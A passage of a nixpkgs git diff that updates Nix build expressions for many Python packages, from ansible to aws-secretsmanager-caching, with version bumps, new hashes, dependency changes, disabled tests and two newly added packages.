7a2f7e5e66064..57d1a6b7ebf1b 100644 --- a/pkgs/development/python-modules/ansible/core.nix +++ b/pkgs/development/python-modules/ansible/core.nix @@ -29,11 +29,11 @@ buildPythonPackage rec { pname = "ansible-core"; - version = "2.16.3"; + version = "2.16.4"; src = fetchPypi { inherit pname version; - hash = "sha256-dqh2WoWGBk7wc6KZVi4wj6LBgKdbX3Vpu9D2HUFxzbM="; + hash = "sha256-LNIIsJFZSMiL/60zHl0HCXtu3KGHLLUzdeUbZxnmoGA="; }; # ansible_connection is already wrapped, so don't pass it through diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix index c2ebd3e9d8bbf..af123b9df7775 100644 --- a/pkgs/development/python-modules/ansible/default.nix +++ b/pkgs/development/python-modules/ansible/default.nix @@ -21,7 +21,7 @@ let pname = "ansible"; - version = "9.2.0"; + version = "9.3.0"; in buildPythonPackage { inherit pname version; @@ -31,7 +31,7 @@ buildPythonPackage { src = fetchPypi { inherit pname version; - hash = "sha256-ogekoApF5c0Xin+UykKv4m8jydJ75JkB6oxF0YoHt8Y="; + hash = "sha256-f06g5NBlU4h5s+Eegehe7U2ALRlA9lZK2VDp0RoxsDw="; }; postPatch = '' diff --git a/pkgs/development/python-modules/anyio/default.nix b/pkgs/development/python-modules/anyio/default.nix index f645a416e8344..f8d992bed39b2 100644 --- a/pkgs/development/python-modules/anyio/default.nix +++ b/pkgs/development/python-modules/anyio/default.nix @@ -12,6 +12,7 @@ , exceptiongroup , idna , sniffio +, typing-extensions # optionals , trio @@ -28,7 +29,7 @@ buildPythonPackage rec { pname = "anyio"; - version = "4.1.0"; + version = "4.2.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -37,7 +38,7 @@ buildPythonPackage rec { owner = "agronholm"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-PEDPliWJX3QypwsvJTAJhrQnJx8lWXQQSdyjN0I8L+I="; + hash = "sha256-9BxzdeQ5Yh4FDXGNVx9kiy7/fBmn8esvZkrK4wW4oGA="; }; nativeBuildInputs = [ @@ -50,6 +51,7 @@ buildPythonPackage rec { sniffio ] ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup + typing-extensions ]; passthru.optional-dependencies = { @@ -77,16 +79,7 @@ buildPythonPackage rec { "-m" "'not network'" ]; - disabledTests = [ - # INTERNALERROR> AttributeError: 'NonBaseMultiError' object has no attribute '_exceptions'. Did you mean: 'exceptions'? - "test_exception_group_children" - "test_exception_group_host" - "test_exception_group_filtering" - # timing sensitive - # assert threading.active_count() == initial_count + 1 - # assert 4 == (4 + 1) - "test_run_sync_from_thread_pooling" - ] ++ lib.optionals stdenv.isDarwin [ + disabledTests = lib.optionals (stdenv.isx86_64 && stdenv.isDarwin) [ # PermissionError: [Errno 1] Operation not permitted: '/dev/console' "test_is_block_device" ]; @@ -98,7 +91,9 @@ buildPythonPackage rec { __darwinAllowLocalNetworking = true; - pythonImportsCheck = [ "anyio" ]; + pythonImportsCheck = [ + "anyio" + ]; meta = with lib; { changelog = "https://github.com/agronholm/anyio/blob/${src.rev}/docs/versionhistory.rst"; diff --git a/pkgs/development/python-modules/apispec/default.nix b/pkgs/development/python-modules/apispec/default.nix index e08df2ca1db9f..d39d59325d17a 100644 --- a/pkgs/development/python-modules/apispec/default.nix +++ b/pkgs/development/python-modules/apispec/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchPypi +, flit-core , marshmallow , mock , openapi-spec-validator @@ -9,20 +10,25 @@ , pytestCheckHook , pythonOlder , pyyaml +, setuptools }: buildPythonPackage rec { pname = "apispec"; - version = "6.4.0"; - format = "setuptools"; + version = "6.5.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-QrimgzzxVMnb0i0Aa1a/nEnJctMtJP5xb9c04Pa3Obg="; + hash = "sha256-wDpNhIrnDpuyJp3U5NMNjsfsBp0k756bQi48vRqf55Q="; }; + nativeBuildInputs = [ + flit-core + ]; + propagatedBuildInputs = [ packaging ]; diff --git a/pkgs/development/python-modules/apprise/default.nix b/pkgs/development/python-modules/apprise/default.nix index 9d3f55bec2834..4ada8729cba21 100644 --- a/pkgs/development/python-modules/apprise/default.nix +++ b/pkgs/development/python-modules/apprise/default.nix @@ -19,14 +19,14 @@ buildPythonPackage rec { pname = "apprise"; - version = "1.7.2"; + version = "1.7.3"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-CeFZspAI5sjpPX/8PBXUGcC7rkFiBAX48tNDK3Ki6b8="; + hash = "sha256-MeKmOUB7uNJmJJ/Adf8xfp00/1lRxuFr/u/dwq9f6Ew="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/approvaltests/default.nix b/pkgs/development/python-modules/approvaltests/default.nix index 497d4a9aa4dd1..6ea222752d110 100644 --- a/pkgs/development/python-modules/approvaltests/default.nix +++ b/pkgs/development/python-modules/approvaltests/default.nix @@ -15,11 +15,12 @@ , pythonOlder , setuptools , testfixtures +, typing-extensions }: buildPythonPackage rec { pname = "approvaltests"; - version = "10.4.0"; + version = "11.1.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -28,7 +29,7 @@ buildPythonPackage rec { owner = "approvals"; repo = "ApprovalTests.Python"; rev = "refs/tags/v${version}"; - hash = "sha256-/UsrUzCd4aYEQ4epZggk2O2esJCUG0DxRseK+s6yJd4="; + hash = "sha256-F03qctswG0/y2ZCdHCacHsMiBZFTmEEegYXIIB2UPlc="; }; nativeBuildInputs = [ @@ -45,6 +46,7 @@ buildPythonPackage rec { pyperclip pytest testfixtures + typing-extensions ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix b/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix index 174dbc71a28a7..d9cba7737271f 100644 --- a/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix +++ b/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "appthreat-vulnerability-db"; - version = "5.6.2"; + version = "5.6.4"; pyproject = true; disabled = pythonOlder "3.8"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "AppThreat"; repo = "vulnerability-db"; rev = "refs/tags/v${version}"; - hash = "sha256-/Un5Jh/3UjhJApL0eQzj545F9q+55xwFsIa5M+U93w0="; + hash = "sha256-Uq0DXrNQRVhQaPXXGNjbnPhOYoPpa8H3WuDdotCKS8c="; }; postPatch = '' diff --git a/pkgs/development/python-modules/argcomplete/default.nix b/pkgs/development/python-modules/argcomplete/default.nix index 7c5bf54369965..2496934d571b3 100644 --- a/pkgs/development/python-modules/argcomplete/default.nix +++ b/pkgs/development/python-modules/argcomplete/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "argcomplete"; - version = "3.1.6"; + version = "3.2.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "kislyuk"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-Akwa6dsf8w/Sw0ydUrqKEP5+dzHYX4hS8vcl7Gw4ePc="; + hash = "sha256-gOKuFv04Qv9ry7LEKC9zIe7kJvHNFhTBDUrL+zu8AYk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/argilla/default.nix b/pkgs/development/python-modules/argilla/default.nix index 336b6f6db8569..0ccca5417a2eb 100644 --- a/pkgs/development/python-modules/argilla/default.nix +++ b/pkgs/development/python-modules/argilla/default.nix @@ -65,7 +65,7 @@ }: let pname = "argilla"; - version = "1.24.0"; + version = "1.25.0"; optional-dependencies = { server = [ fastapi @@ -126,7 +126,7 @@ buildPythonPackage { owner = "argilla-io"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-2baSX6b2BFYHXKg37WMHcGel3OTGsCJrulvyxmbdBek="; + hash = "sha256-KU67tu14pX1nCRl9k/Na9EqelO3Uz7It1dpFBU2IjZA="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/argparse-manpage/default.nix b/pkgs/development/python-modules/argparse-manpage/default.nix new file mode 100644 index 0000000000000..59a303e0237b7 --- /dev/null +++ b/pkgs/development/python-modules/argparse-manpage/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, pythonOlder +, setuptools +, packaging +, tomli +, pytestCheckHook +, pip +}: + +buildPythonPackage rec { + pname = "argparse-manpage"; + version = "4.5"; + pyproject = true; + + src = fetchFromGitHub { + owner = "praiskup"; + repo = "argparse-manpage"; + rev = "v${version}"; + hash = "sha256-9lriW+Yx/6ysoumloQglDm5JEcKNUWm422B3P6IE/EE="; + }; + + nativeBuildInputs = [ + setuptools + packaging + ] ++ lib.optionals (pythonOlder "3.11") [ + tomli + ]; + + propagatedBuildInputs = lib.optionals (pythonOlder "3.11") [ + tomli + ]; + + nativeCheckInputs = [ + pytestCheckHook + pip + ]; + + disabledTests = [ + # TypeError: dist must be a Distribution instance + "test_old_example" + "test_old_example_file_name" + ]; + + pythonImportsCheck = [ + "argparse_manpage" + ]; + + passthru.optional-dependencies = { + setuptools = [ setuptools ]; + }; + + meta = with lib; { + description = "Automatically build man-pages for your Python project"; + homepage = "https://github.com/praiskup/argparse-manpage"; + changelog = "https://github.com/praiskup/argparse-manpage/blob/${src.rev}/NEWS"; + license = licenses.asl20; + maintainers = with maintainers; [ nickcao ]; + mainProgram = "argparse-manpage"; + }; +} diff --git a/pkgs/development/python-modules/arviz/default.nix b/pkgs/development/python-modules/arviz/default.nix index 63bf85273811b..edd555a96b166 100644 --- a/pkgs/development/python-modules/arviz/default.nix +++ b/pkgs/development/python-modules/arviz/default.nix @@ -100,6 +100,7 @@ buildPythonPackage rec { "test_plot_ppc_discrete_save_animation" # Assertion error "test_data_zarr" + "test_plot_forest" ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/asn1crypto/default.nix b/pkgs/development/python-modules/asn1crypto/default.nix index a9e078b387561..426116f5775a4 100644 --- a/pkgs/development/python-modules/asn1crypto/default.nix +++ b/pkgs/development/python-modules/asn1crypto/default.nix @@ -1,5 +1,6 @@ { lib , buildPythonPackage +, python , fetchFromGitHub # build system @@ -9,17 +10,31 @@ , pytestCheckHook }: +# Switch version based on python version, as the situation isn't easy: +# https://github.com/wbond/asn1crypto/issues/269 +# https://github.com/MatthiasValvekens/certomancer/issues/12 +with ( + if lib.versionOlder python.version "3.12" then rec { + version = "1.5.1"; + rev = version; + hash = "sha256-M8vASxhaJPgkiTrAckxz7gk/QHkrFlNz7fFbnLEBT+M="; + } else { + version = "1.5.1-unstable-2023-11-03"; + rev = "b763a757bb2bef2ab63620611ddd8006d5e9e4a2"; + hash = "sha256-11WajEDtisiJsKQjZMSd5sDog3DuuBzf1PcgSY+uuXY="; + } +); + buildPythonPackage rec { pname = "asn1crypto"; - version = "1.5.1"; pyproject = true; + inherit version; # Pulling from Github to run tests src = fetchFromGitHub { owner = "wbond"; repo = "asn1crypto"; - rev = version; - hash = "sha256-M8vASxhaJPgkiTrAckxz7gk/QHkrFlNz7fFbnLEBT+M="; + inherit rev hash; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/asteroid-filterbanks/default.nix b/pkgs/development/python-modules/asteroid-filterbanks/default.nix new file mode 100644 index 0000000000000..3a22c0fb5132e --- /dev/null +++ b/pkgs/development/python-modules/asteroid-filterbanks/default.nix @@ -0,0 +1,54 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, black +, codecov +, coverage +, librosa +, numpy +, pre-commit +, pytest +, scipy +, torch +}: + +buildPythonPackage rec { + pname = "asteroid-filterbanks"; + version = "0.4.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "asteroid-team"; + repo = "asteroid-filterbanks"; + rev = "v${version}"; + hash = "sha256-Z5M2Xgj83lzqov9kCw/rkjJ5KXbjuP+FHYCjhi5nYFE="; + }; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + propagatedBuildInputs = [ + black + codecov + coverage + librosa + numpy + pre-commit + pytest + scipy + torch + ]; + + pythonImportsCheck = [ "asteroid_filterbanks" ]; + + meta = with lib; { + description = "The PyTorch-based audio source separation toolkit for researchers"; + homepage = "https://github.com/asteroid-team/asteroid-filterbanks"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/astroid/default.nix b/pkgs/development/python-modules/astroid/default.nix index 6d5c11104315f..fd0812139e3c6 100644 --- a/pkgs/development/python-modules/astroid/default.nix +++ b/pkgs/development/python-modules/astroid/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "astroid"; - version = "3.0.1"; # Check whether the version is compatible with pylint + version = "3.0.2"; # Check whether the version is compatible with pylint pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "PyCQA"; repo = "astroid"; rev = "refs/tags/v${version}"; - hash = "sha256-z6FmB3I3VmiIx0MSsrkvHmDVv2h3CaaeXlDG3DewGXw="; + hash = "sha256-KTmFJKlymI1ACWk3UhbkZF/dB9W8/h6kaAfKLL3yiCA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/async-upnp-client/default.nix b/pkgs/development/python-modules/async-upnp-client/default.nix index 4d283d1d5ed8e..fc4ee957d2788 100644 --- a/pkgs/development/python-modules/async-upnp-client/default.nix +++ b/pkgs/development/python-modules/async-upnp-client/default.nix @@ -22,7 +22,7 @@ buildPythonPackage rec { pname = "async-upnp-client"; - version = "0.38.1"; + version = "0.38.2"; pyproject = true; disabled = pythonOlder "3.8"; @@ -31,7 +31,7 @@ buildPythonPackage rec { owner = "StevenLooman"; repo = "async_upnp_client"; rev = "refs/tags/${version}"; - hash = "sha256-tYGJwmzyVTry3KIMv1JjoBsE6kNw7FJb1nq1+39bEdU="; + hash = "sha256-gPA9u1BuMswfg5Nll8l6vrcTP2s3Zn9ESTbV+dOxlhA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/asyncstdlib/default.nix b/pkgs/development/python-modules/asyncstdlib/default.nix index e6b2a2769331f..57306bd01a4dc 100644 --- a/pkgs/development/python-modules/asyncstdlib/default.nix +++ b/pkgs/development/python-modules/asyncstdlib/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "asyncstdlib"; - version = "3.12.0"; + version = "3.12.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "maxfischer2781"; repo = "asyncstdlib"; rev = "refs/tags/v${version}"; - hash = "sha256-ZINCpUtwXZxGTMolfyZh5cBFZV0h7ODhsRcmkRzBTEI="; + hash = "sha256-F7jS2EHiq+gK4a6+wJ8CA2YvwR37PP3yvbsLp3uE8R8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/asyncua/default.nix b/pkgs/development/python-modules/asyncua/default.nix index 7745695436286..3666d8716d960 100644 --- a/pkgs/development/python-modules/asyncua/default.nix +++ b/pkgs/development/python-modules/asyncua/default.nix @@ -6,7 +6,7 @@ , cryptography , fetchFromGitHub , pyopenssl -, pytest-asyncio +, pytest-asyncio_0_21 , pytest-mock , pytestCheckHook , python-dateutil @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "asyncua"; - version = "1.0.6"; + version = "1.1.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "FreeOpcUa"; repo = "opcua-asyncio"; rev = "refs/tags/v${version}"; - hash = "sha256-16OzTxYafK1a/WVH46bL7VhxNI+XpkPHi2agbArpHUk="; + hash = "sha256-tHlo5oNsb8E6r0vmSi0eVbk4RCMg0xe97LITzW9FQWA="; fetchSubmodules = true; }; @@ -60,7 +60,7 @@ buildPythonPackage rec { nativeCheckInputs = [ pytestCheckHook - pytest-asyncio + pytest-asyncio_0_21 pytest-mock ]; diff --git a/pkgs/development/python-modules/autarco/default.nix b/pkgs/development/python-modules/autarco/default.nix index b5a8715f6ced2..71cf0df61d775 100644 --- a/pkgs/development/python-modules/autarco/default.nix +++ b/pkgs/development/python-modules/autarco/default.nix @@ -3,35 +3,33 @@ , aresponses , buildPythonPackage , fetchFromGitHub -, fetchpatch +, mashumaro +, orjson , poetry-core , pytest-asyncio , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook +, syrupy , yarl }: buildPythonPackage rec { pname = "autarco"; - version = "0.2.0"; - format = "pyproject"; + version = "0.3.0"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "klaasnicolaas"; repo = "python-autarco"; - rev = "v${version}"; - hash = "sha256-3f6N4b6WZPAUUQTuGeb20q0f7ZqDR+O24QRze5RpRlw="; + rev = "refs/tags/v${version}"; + hash = "sha256-IBf6Dw2Yf7m+5bQ72K0kPxGdtpl8JowQ9IO3gWS3Vso="; }; - patches = [ - # https://github.com/klaasnicolaas/python-autarco/pull/265 - (fetchpatch { - name = "remove-setuptools-dependency.patch"; - url = "https://github.com/klaasnicolaas/python-autarco/commit/bf40e8a4f64cd9c9cf72930260895537ea5b2adc.patch"; - hash = "sha256-Fgijy7sd67LUIqh3qjQjyothnjdW7Zcil/bQSuVsBR8="; - }) + pythonRelaxDeps = [ + "orjson" ]; postPatch = '' @@ -43,10 +41,13 @@ buildPythonPackage rec { nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ aiohttp + mashumaro + orjson yarl ]; @@ -56,6 +57,7 @@ buildPythonPackage rec { aresponses pytest-asyncio pytestCheckHook + syrupy ]; pythonImportsCheck = [ @@ -65,6 +67,7 @@ buildPythonPackage rec { meta = with lib; { description = "Module for the Autarco Inverter"; homepage = "https://github.com/klaasnicolaas/python-autarco"; + changelog = "https://github.com/klaasnicolaas/python-autarco/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/autobahn/default.nix b/pkgs/development/python-modules/autobahn/default.nix index 429082e442b86..2bfbc16e8f912 100644 --- a/pkgs/development/python-modules/autobahn/default.nix +++ b/pkgs/development/python-modules/autobahn/default.nix @@ -27,7 +27,7 @@ , pygobject3 , pyopenssl , qrcode -, pytest-asyncio +, pytest-asyncio_0_21 , python-snappy , pytestCheckHook , pythonOlder @@ -72,7 +72,7 @@ buildPythonPackage rec { nativeCheckInputs = [ mock - pytest-asyncio + pytest-asyncio_0_21 pytestCheckHook ] ++ passthru.optional-dependencies.scram ++ passthru.optional-dependencies.serialization diff --git a/pkgs/development/python-modules/autoflake/default.nix b/pkgs/development/python-modules/autoflake/default.nix index 0897abe77b849..64d429629276a 100644 --- a/pkgs/development/python-modules/autoflake/default.nix +++ b/pkgs/development/python-modules/autoflake/default.nix @@ -9,12 +9,12 @@ }: buildPythonPackage rec { pname = "autoflake"; - version = "2.2.1"; + version = "2.3.0"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-Yre2RJppLDybDJFpGbvCFkjacoHoUGvPjT+CgOQx68E="; + hash = "sha256-jCAR+jRwG519zwW5hzvEhZ1Pzk5i3+qQ3/79FXb18B0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/autoit-ripper/default.nix b/pkgs/development/python-modules/autoit-ripper/default.nix index ed0c716bbc958..5b926c18c3c2d 100644 --- a/pkgs/development/python-modules/autoit-ripper/default.nix +++ b/pkgs/development/python-modules/autoit-ripper/default.nix @@ -3,29 +3,29 @@ , fetchPypi , pefile , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "autoit-ripper"; - version = "1.1.1"; - format = "setuptools"; + version = "1.1.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-a30SDJdKoljWjV0O1sZ35NnQPFcJ0XOPcmTanozWpHY="; + hash = "sha256-+BHWDkeVewoRUgaHln5TyoajpCvJiowCiC2dFYyp1MA="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ pefile ]; - postPatch = '' - substituteInPlace requirements.txt \ - --replace "pefile==2019.4.18" "pefile>=2019.4.18" - ''; - # Project has no tests doCheck = false; @@ -36,6 +36,7 @@ buildPythonPackage rec { meta = with lib; { description = "Python module to extract AutoIt scripts embedded in PE binaries"; homepage = "https://github.com/nazywam/AutoIt-Ripper"; + changelog = "https://github.com/nazywam/AutoIt-Ripper/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/autopep8/default.nix b/pkgs/development/python-modules/autopep8/default.nix index 4bfffd8a780b3..34dd0baa4c99d 100644 --- a/pkgs/development/python-modules/autopep8/default.nix +++ b/pkgs/development/python-modules/autopep8/default.nix @@ -1,27 +1,33 @@ { lib , buildPythonPackage , fetchFromGitHub +, fetchpatch , glibcLocales , pycodestyle , pytestCheckHook , pythonOlder +, setuptools , tomli }: buildPythonPackage rec { pname = "autopep8"; - version = "2.0.4"; - format = "setuptools"; + version = "2.0.4-unstable-2023-10-27"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "hhatto"; repo = "autopep8"; - rev = "refs/tags/v${version}"; - hash = "sha256-TuaDnZqn9mRUsoDJkj9JK4ztvzl9JTwAk8nghIkZBvw="; + rev = "af7399d90926f2fe99a71f15197a08fa197f73a1"; + hash = "sha256-psGl9rXxTQGHyXf1VskJ/I/goVH5hRRP5bUXQdaT/8M="; }; + build-system = [ + setuptools + ]; + propagatedBuildInputs = [ pycodestyle ] ++ lib.optionals (pythonOlder "3.11") [ diff --git a/pkgs/development/python-modules/avidtools/default.nix b/pkgs/development/python-modules/avidtools/default.nix index c0edd6033de7e..bcb1ba01c819a 100644 --- a/pkgs/development/python-modules/avidtools/default.nix +++ b/pkgs/development/python-modules/avidtools/default.nix @@ -11,14 +11,14 @@ buildPythonPackage rec { pname = "avidtools"; - version = "0.1.1.2"; + version = "0.1.2"; pyproject = true; disabled = pythonOlder "3.9"; src = fetchPypi { inherit pname version; - hash = "sha256-t+ohPjOBwY8i+g7VC30ehEu6SFIsn1SwGR/ICkV9blg="; + hash = "sha256-2YtX+kUryTwaQ4QvExw5OJ4Rx8JoTzBeC8VSyNEL7OY="; }; postPatch = '' diff --git a/pkgs/development/python-modules/awesomeversion/default.nix b/pkgs/development/python-modules/awesomeversion/default.nix index 4cd972d95b8ce..f728bbb562097 100644 --- a/pkgs/development/python-modules/awesomeversion/default.nix +++ b/pkgs/development/python-modules/awesomeversion/default.nix @@ -2,11 +2,7 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder - -# build-system , poetry-core - -# tests , pytest-snapshot , pytestCheckHook }: @@ -14,13 +10,13 @@ buildPythonPackage rec { pname = "awesomeversion"; version = "24.2.0"; - format = "pyproject"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "ludeeus"; - repo = pname; + repo = "awesomeversion"; rev = "refs/tags/${version}"; hash = "sha256-bpLtHhpWc1VweVl5G8mM473Js3bXT11N3Zc0jiVqq5c="; }; @@ -28,7 +24,7 @@ buildPythonPackage rec { postPatch = '' # Upstream doesn't set a version substituteInPlace pyproject.toml \ - --replace 'version = "0"' 'version = "${version}"' + --replace-fail 'version = "0"' 'version = "${version}"' ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/awkward-cpp/default.nix b/pkgs/development/python-modules/awkward-cpp/default.nix index 18c0be822dea1..ad54fd5e2d883 100644 --- a/pkgs/development/python-modules/awkward-cpp/default.nix +++ b/pkgs/development/python-modules/awkward-cpp/default.nix @@ -11,14 +11,14 @@ buildPythonPackage rec { pname = "awkward-cpp"; - version = "29"; + version = "30"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-r0t4kbeLkDFxvONB6I0q3YQFn6Fn8I6KmTAFmZ0bnRs="; + hash = "sha256-W+lMpzUdjkIcuUeKm3EBb6dnNiH6Ei1HfQsHu2iqfUw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/awkward/default.nix b/pkgs/development/python-modules/awkward/default.nix index 5c174cb54d2be..a093cb5d8e40c 100644 --- a/pkgs/development/python-modules/awkward/default.nix +++ b/pkgs/development/python-modules/awkward/default.nix @@ -24,7 +24,7 @@ buildPythonPackage rec { pname = "awkward"; - version = "2.6.1"; + version = "2.6.2"; pyproject = true; disabled = pythonOlder "3.8"; @@ -33,7 +33,7 @@ buildPythonPackage rec { owner = "scikit-hep"; repo = "awkward"; rev = "refs/tags/v${version}"; - hash = "sha256-G9jXAo37mhvXzn7cQ/DEUGauGs+P7JxBntfu7ZPfaHc="; + hash = "sha256-5wUTEB0iVffyCi671y4EsTum+7K1GDeAHlhdLpRgKnQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aws-encryption-sdk/default.nix b/pkgs/development/python-modules/aws-encryption-sdk/default.nix index b9186ab1779c5..7cdcc917c8a87 100644 --- a/pkgs/development/python-modules/aws-encryption-sdk/default.nix +++ b/pkgs/development/python-modules/aws-encryption-sdk/default.nix @@ -1,54 +1,62 @@ { lib -, buildPythonPackage -, fetchPypi , attrs , boto3 +, buildPythonPackage , cryptography -, setuptools -, wrapt +, fetchPypi , mock -, pytest , pytest-mock , pytestCheckHook +, pythonAtLeast +, pythonOlder +, setuptools +, wrapt }: buildPythonPackage rec { pname = "aws-encryption-sdk"; version = "3.1.1"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; hash = "sha256-jV+/AY/GjWscrL5N0Df9gFKWx3Nqn+RX62hNBT9/lWM="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ attrs boto3 cryptography - setuptools wrapt ]; - doCheck = true; - nativeCheckInputs = [ mock - pytest pytest-mock pytestCheckHook ]; disabledTestPaths = [ - # requires networking + # Tests require networking "examples" "test/integration" ]; + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # AssertionError: Regex pattern did not match, https://github.com/aws/aws-encryption-sdk-python/issues/644 + "test_abstracts" + ]; + meta = with lib; { + description = "Python implementation of the AWS Encryption SDK"; homepage = "https://aws-encryption-sdk-python.readthedocs.io/"; changelog = "https://github.com/aws/aws-encryption-sdk-python/blob/v${version}/CHANGELOG.rst"; - description = "Fully compliant, native Python implementation of the AWS Encryption SDK."; license = licenses.asl20; maintainers = with maintainers; [ anthonyroussel ]; }; diff --git a/pkgs/development/python-modules/aws-sam-translator/default.nix b/pkgs/development/python-modules/aws-sam-translator/default.nix index 12e0a88035527..9fad12faaac4f 100644 --- a/pkgs/development/python-modules/aws-sam-translator/default.nix +++ b/pkgs/development/python-modules/aws-sam-translator/default.nix @@ -29,8 +29,8 @@ buildPythonPackage rec { }; postPatch = '' - substituteInPlace pytest.ini \ - --replace " --cov samtranslator --cov-report term-missing --cov-fail-under 95" "" + # don't try to use --cov or fail on new warnings + rm pytest.ini ''; propagatedBuildInputs = [ @@ -49,14 +49,15 @@ buildPythonPackage rec { pyyaml ]; - pythonImportsCheck = [ - "samtranslator" - ]; - preCheck = '' - sed -i '2ienv =\n\tAWS_DEFAULT_REGION=us-east-1' pytest.ini + export AWS_DEFAULT_REGION=us-east-1 ''; + pytestFlagsArray = [ + "tests" + ''-m "not slow"'' + ]; + disabledTests = [ # urllib3 2.0 compat "test_plugin_accepts_different_sar_client" @@ -79,6 +80,10 @@ buildPythonPackage rec { __darwinAllowLocalNetworking = true; + pythonImportsCheck = [ + "samtranslator" + ]; + meta = with lib; { description = "Python library to transform SAM templates into AWS CloudFormation templates"; homepage = "https://github.com/aws/serverless-application-model"; diff --git a/pkgs/development/python-modules/aws-secretsmanager-caching/default.nix b/pkgs/development/python-modules/aws-secretsmanager-caching/default.nix index 7e54c030bf1e6..90226ddd99e47 100644 --- a/pkgs/development/python-modules/aws-secretsmanager-caching/default.nix +++ b/pkgs/development/python-modules/aws-secretsmanager-caching/default.nix @@ -1,34 +1,27 @@ { lib +, botocore , buildPythonPackage -, pythonOlder , fetchPypi +, pytestCheckHook +, pythonAtLeast +, pythonOlder , setuptools , setuptools-scm -, botocore -, pytestCheckHook }: buildPythonPackage rec { - pname = "aws_secretsmanager_caching"; + pname = "aws-secretsmanager-caching"; version = "1.1.1.5"; - format = "setuptools"; + pyprject = true; disabled = pythonOlder "3.7"; src = fetchPypi { - inherit pname version; - sha256 = "5cee2762bb89b72f3e5123feee8e45fbe44ffe163bfca08b28f27b2e2b7772e1"; + pname = "aws_secretsmanager_caching"; + inherit version; + hash = "sha256-XO4nYruJty8+USP+7o5F++RP/hY7/KCLKPJ7Lit3cuE="; }; - nativeBuildInputs = [ - setuptools-scm - ]; - - propagatedBuildInputs = [ - botocore - setuptools # Needs pkg_resources at runtime. - ]; - patches = [ # Remove coverage tests from the pytest invocation in setup.cfg. ./remove-coverage-tests.patch @@ -36,9 +29,18 @@ buildPythonPackage rec { postPatch = '' substituteInPlace setup.py \ - --replace "'pytest-runner'," "" + --replace-fail "'pytest-runner'," "" ''; + nativeBuildInputs = [ + setuptools-scm + ]; + + propagatedBuildInputs = [ + botocore + setuptools # Needs pkg_resources at runtime. + ]; + nativeCheckInputs = [ pytestCheckHook ]; @@ -48,6 +50,21 @@ buildPythonPackage rec { "test/integ" ]; + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # TypeError: 'float' object cannot be interpreted as an integer + "test_calls_hook_binary" + "test_calls_hook_string" + "test_get_secret_binary" + "test_get_secret_string" + "test_invalid_json" + "test_missing_key" + "test_string_with_additional_kwargs" + "test_string" + "test_valid_json_with_mixed_args" + 